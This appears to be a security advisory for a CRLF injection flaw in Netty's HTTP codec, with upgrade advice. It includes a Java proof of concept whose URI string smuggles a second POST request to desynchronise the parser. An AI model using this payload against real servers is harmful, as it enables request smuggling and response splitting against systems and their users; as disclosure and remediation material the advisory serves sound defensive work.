Find, fix and prevent vulnerabilities in your code.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.

PoC

public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.

References

• GitHub Commit

Dual license: EPL-1.0, LGPL-2.1

Dual license: EPL-1.0, LGPL-2.1

LGPL-3.0 license